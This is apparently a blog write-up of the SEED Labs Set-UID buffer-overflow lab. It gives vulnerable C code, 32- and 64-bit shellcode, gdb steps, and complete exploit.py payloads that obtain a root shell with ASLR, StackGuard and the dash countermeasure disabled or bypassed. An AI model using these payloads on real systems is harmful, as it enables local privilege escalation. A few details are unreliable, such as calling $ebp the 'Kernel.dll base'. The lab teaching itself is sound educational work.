Buffer-Overflow Attack（Set-UID Version）

ctf 网络攻防 Seed-Lab
CTF
发布日期:   2023-11-03
更新日期:   2023-12-21
文章字数:   3.3k
阅读时长:   16 分

本文是全网为数不多讲解了 start 选值原因的博文

相关资料

https://seedsecuritylabs.org/Labs_20.04/Software/Buffer_Overflow_Setuid/

预先准备

关闭随机化

首先关闭address randomization countermeasure

sudo sysctl -w kernel.randomize_va_space=0

当数值为0时，完全关闭ASLR。
当数值为1时，部分关闭ASLR。只将 mmap 的基址，stack 和 vdso 页面随机化。
当数值为2时，完全开启ASLR。在部分开启的基础上增加 heap的随机化。

修改 sh 为 zsh

sudo ln -sf /bin/zsh /bin/sh

添加一行辅助代码

请将你的 stack.c 修改为下面的代码

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
 */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif

void dummy_function(char *str);

int bof(char *str)
{
    char buffer[BUF_SIZE];
    printf("buffer Address %p \n", buffer); // 主要是添加了这行代码，我们不使用这个代码来进行攻击，只是用来辅助学习
    // The following statement has a buffer overflow problem
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    if (!badfile) {
       perror("Opening badfile"); exit(1);
    }

    int length = fread(str, sizeof(char), 517, badfile);
    printf("Input size: %d\n", length);
    dummy_function(str);
    fprintf(stdout, "==== Returned Properly ====\n");
    return 1;
}

// This function is used to insert a stack frame of size
// 1000 (approximately) between main's and bof's stack frames.
// The function itself does not do anything.
void dummy_function(char *str)
{
    char dummy_buffer[1000];
    memset(dummy_buffer, 0, 1000);
    bof(str);
}

Task 1：熟悉shellcode

进入shellcode文件夹，里面有两个文件

/* call_shellcode.c  */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

// Binary code for setuid(0)
// 64-bit:  "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
// 32-bit:  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"


const char shellcode[] =
#if __x86_64__
  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
#else
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
#endif
;

int main(int argc, char **argv)
{
   char code[500];

   strcpy(code, shellcode);
   int (*func)() = (int(*)())code;

   func();
   return 1;
}

all:
        gcc -m32 -z execstack -o a32.out call_shellcode.c
        gcc -z execstack -o a64.out call_shellcode.c

setuid:
        gcc -m32 -z execstack -o a32.out call_shellcode.c
        gcc -z execstack -o a64.out call_shellcode.c
        sudo chown root a32.out a64.out
        sudo chmod 4755 a32.out a64.out

clean:
        rm -f a32.out a64.out *.o

运行make setuid

试着执行两个输出文件，可以发现，他们都拿到了 root 权限

Task 2：Understanding the Vulnerable Program

进入code文件夹

里面有一个stack.c 这个易受攻击文件

//stack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
 */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif

void dummy_function(char *str);

int bof(char *str)
{
    char buffer[BUF_SIZE];

    // The following statement has a buffer overflow problem
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    if (!badfile) {
       perror("Opening badfile"); exit(1);
    }

    int length = fread(str, sizeof(char), 517, badfile);
    printf("Input size: %d\n", length);
    dummy_function(str);
    fprintf(stdout, "==== Returned Properly ====\n");
    return 1;
}

// This function is used to insert a stack frame of size
// 1000 (approximately) between main's and bof's stack frames.
// The function itself does not do anything.
void dummy_function(char *str)
{
    char dummy_buffer[1000];
    memset(dummy_buffer, 0, 1000);
    bof(str);
}

在 Makefile 中有一些编译选项

FLAGS    = -z execstack -fno-stack-protector
FLAGS_32 = -m32
TARGET   = stack-L1 stack-L2 stack-L3 stack-L4 stack-L1-dbg stack-L2-dbg stack-L3-dbg stack-L4-dbg

L1 = 100
L2 = 160
L3 = 200
L4 = 10

all: $(TARGET)

stack-L1: stack.c
        gcc -DBUF_SIZE=$(L1) $(FLAGS) $(FLAGS_32) -o $@ stack.c
        gcc -DBUF_SIZE=$(L1) $(FLAGS) $(FLAGS_32) -g -o $@-dbg stack.c
        sudo chown root $@ && sudo chmod 4755 $@

stack-L2: stack.c
        gcc -DBUF_SIZE=$(L2) $(FLAGS) $(FLAGS_32) -o $@ stack.c
        gcc -DBUF_SIZE=$(L2) $(FLAGS) $(FLAGS_32) -g -o $@-dbg stack.c
        sudo chown root $@ && sudo chmod 4755 $@

stack-L3: stack.c
        gcc -DBUF_SIZE=$(L3) $(FLAGS) -o $@ stack.c
        gcc -DBUF_SIZE=$(L3) $(FLAGS) -g -o $@-dbg stack.c
        sudo chown root $@ && sudo chmod 4755 $@

stack-L4: stack.c
        gcc -DBUF_SIZE=$(L4) $(FLAGS) -o $@ stack.c
        gcc -DBUF_SIZE=$(L4) $(FLAGS) -g -o $@-dbg stack.c
        sudo chown root $@ && sudo chmod 4755 $@


clean:
        rm -f badfile $(TARGET) peda-session-stack*.txt .gdb_history

其中下列的代码是用来：关闭 StackGuard 和 non-executable stack，通过在gcc时指定-fno-stack-protector和-z execstack选项。

FLAGS    = -z execstack -fno-stack-protector
FLAGS_32 = -m32

运行 make就可以开始下一个实验了。

Task 3：Launching Attack on 32-bit Program

进行缓冲区溢出攻击很重要的一点是，定位 ebp 和 buffer，因此我们需要先找到这两个

先简单构建一个 badfile ，运行 exploit.py

很多搬运工根本没有实践，在实际情况下，没有进行这步是没法进行调试的。

然后进入调试模式

gdb stack-L1-dbg

顺序执行

b bof
run
next
p $ebp
p &buffer
  1. b bof : 在bof()函数设置断点
  2. run: 在gdb模式下run
  3. next : 执行下一句（进行strcpy(buffer,str)）
  4. p $ebp: 获取Kernel.dll基址
  5. p &buffer: 获取buffer地址

此时我们要基于上面获取到的ebp和buffer来修改exploit.py

基本原理解释，ebp是向上生长的，buffer是向下生长的，通过计算 buffer 与 ebp 之间的距离，在 buffer 中超量写入数据，使其向下覆盖掉原本写在 ebp 和 buffer 之间的原代码

ebp=0xffffcee8
buffer=0xffffce7c

由此可以得出两个重要参数

offset=buffer-ebp+4=108+4=112

ret=ebp+8

先去 shellcode 里面复制一个 32 位的 shellcode，放到 exploit.py中，并修改其中的start ret offset 这三个参数

  • start
  • ret 是返回位置
  • offset 上面讲过计算方法了

下方代码，为了更好的理解，补充了参数 buffer

#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 300               # 517 - len(shellcode) 肯定可以成功，不用担心覆盖一些重要的指令
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
buffer = 0xffffce7c
ret    = buffer+start           # Change this number
offset = 112              # Change this number

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

而后运行stack-L1 ，攻击成功

经过反复测试，博主虚拟机里最小的成功 start 是196。

这里是 196 主要是因为实际的 buffer 和 gdb 查出来的相差了 80

Task 4: Launching Attack without Knowing Buffer Size (Level 2)

在这个任务下，我们不知道 buffer 的大小，只知道是 100 到 200。

但是，我们还是可以使用 gdb 得到 &buffer 的地址，只是不能得到 $ebp 的地址罢了。我们先把 ret 的值修改为 &buffer，然后把函数每个可能的 ret 位置都修改为我们的 ret，并且将 start 设为 400 或者 517 - len(shellcode)。

然后进入调试模式

gdb stack-L2-dbg

顺序执行

b bof
run
next
p &buffer

此时得到 buffer=0xffffce40

#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
buffer = 0xffffce40
ret    = buffer+start           # Change this number
L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
for offset in range(0,288,L):
 content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

经过实验，博主机器上覆盖最大范围是(0,408)。这里之所以只能到 408，主要是因为实际的 buffer 和 gdb 查出来的相差了 80

攻击成功

Task 5: Launching Attack on 64-bit Program (Level 3)

这次没有什么太大的区别，还是先获取 ebp 和 buffer 的地址

然后进入调试模式

gdb stack-L3-dbg

顺序执行

b bof
run
next
p $rbp
p &buffer

注意，64 位的基地址是 rbp

  1. rbp = 0xffffdd70
  2. buffer = 0x7fffffffdca0
  3. offset= rbp - buffer +8 = 208 + 8 =216

exploit.py 如下

#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 160               # 在我自己机器上测试的成功区间是（97，162）
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
buffer = 0x7fffffffdca0
ret    = buffer+start           # Change this number
offset = 216              # Change this number

L = 8     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

注意将 shellcode 换成 64 位的

根据实验手册中的描述，64 位程序的处理难点在于如何覆盖 64 位返回地址。

64 位程序的实际可用地址为 0x0 至 0x00007FFFFFFFFFFF ，前两字节固定为 \x00 ，而 strcpy() 函数在复制时遇到 \x00 则会停止，所以 ret 应使用小端位序，将 \x00 字节放在后面

攻击成功

注意此处实际的 buffer 地址是 0x7fffffffdd00 ，与我们在 gdb 中获得的buffer 相差了 96

Tasks 7: Defeating dash’s Countermeasure

在 ubuntu 中， dash shell 检测到 GUID 和 EUID 不相等就不能使用 root。前面我们将 sh 链接到 zsh 来解决的这个问题，现在我们来尝试新的对策。（实际上，新的 zsh 也不行了，因此如果你是这个问题，请尝试下个旧版本的）

当然，现在不动歪脑筋了，回归正题，这次的目标的是在判断 GUID 和 EUID 的情景下去获取 root 权限

先把 shell 换回去

sudo ln -sf /bin/dash /bin/sh

此处主要是修改 shellcode ，我们回到 shellcode 文件夹中去修改 call_shellcode.c ，将上面注释掉的代码放回对应的 shellcode 中

setuid(0) 允许程序以 root 用户的权限运行，这意味着程序将具有系统最高权限。在 UNIX 和类 UNIX 系统中，当一个可执行文件设置了 SUID（Set User ID）位时，该程序运行时将具有该文件所有者的权限，而不是运行它的用户的权限。如果这个文件所有者是 root（用户ID为 0），那么运行这个程序的任何用户都将拥有 root 权限。

而后清理后重新编译

make clean
make setuid

Task 8: Defeating Address Randomization

千万记得把 zsh 换回来

sudo ln -sf /bin/zsh /bin/sh

在 32 位系统下，栈只有 19 位熵，我们可以穷举破解它，首先，打开地址随机化：

sudo /sbin/sysctl -w kernel.randomize_va_space=2

将exploit.py更新为

#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)        
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
buffer = 0xffffce7c
ret    = buffer+start           # Change this number
offset = 112              # Change this number

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

我们运行两次stack-L1看看，确定现在地址随机化是开了（也不用改地址了，直接用 L1

的就行了，反正都是随机）

Tasks 9: Experimenting with Other Countermeasures

换回 zsh 和关闭随机化

sudo ln -sf /bin/zsh /bin/sh
sudo /sbin/sysctl -w kernel.randomize_va_space=0

StackGuard 保护机制

StackGuard（又称Stack Smashing Protector，堆栈溢出保护器。

它在栈帧中添加一个称为”Canary”（金丝雀）的特殊值，这个值在程序启动时随机生成，并在栈帧的结尾处存储。攻击者试图溢出栈时，必须同时修改Canary值，否则StackGuard会检测到栈溢出攻击并终止程序。

将 Makefile 修改为

#FLAGS    = -z execstack -fno-stack-protector
FLAGS    = -z execstack
FLAGS_32 = -m32
TARGET   = stack-L1 stack-L2 stack-L3 stack-L4 stack-L1-dbg stack-L2-dbg stack-L3-dbg stack-L4-dbg

L1 = 100
L2 = 160
L3 = 200
L4 = 10

all: $(TARGET)

stack-L1: stack.c
        gcc -DBUF_SIZE=$(L1) $(FLAGS) $(FLAGS_32) -o $@ stack.c
        gcc -DBUF_SIZE=$(L1) $(FLAGS) $(FLAGS_32) -g -o $@-dbg stack.c
        sudo chown root $@ && sudo chmod 4755 $@

stack-L2: stack.c
        gcc -DBUF_SIZE=$(L2) $(FLAGS) $(FLAGS_32) -o $@ stack.c
        gcc -DBUF_SIZE=$(L2) $(FLAGS) $(FLAGS_32) -g -o $@-dbg stack.c
        sudo chown root $@ && sudo chmod 4755 $@

stack-L3: stack.c
        gcc -DBUF_SIZE=$(L3) $(FLAGS) -o $@ stack.c
        gcc -DBUF_SIZE=$(L3) $(FLAGS) -g -o $@-dbg stack.c
        sudo chown root $@ && sudo chmod 4755 $@

stack-L4: stack.c
        gcc -DBUF_SIZE=$(L4) $(FLAGS) -o $@ stack.c
        gcc -DBUF_SIZE=$(L4) $(FLAGS) -g -o $@-dbg stack.c
        sudo chown root $@ && sudo chmod 4755 $@


clean:
        rm -f badfile $(TARGET) peda-session-stack*.txt .gdb_history
# 重新生成 stack-L1
make clean
make

也不需要查看 ebp 和 buffer 的地址，直接运行，会发现系统检测到 canary 不对，直接中断。

不可执行栈

不可执行栈（Non-Executable Stack）通常是一种计算机安全配置，用于提高程序的安全性。在一个启用了不可执行栈的系统上，栈内的内存区域被标记为不可执行，这意味着在默认情况下，栈上的数据不会被执行为代码。这种安全措施有助于防止一些栈溢出攻击，其中攻击者试图在栈上插入恶意代码并执行它。

进入 shellcode 文件夹，编辑 Makefile ，去除 -z execstack 选项，重新编译生成可执行文件

make clean
make

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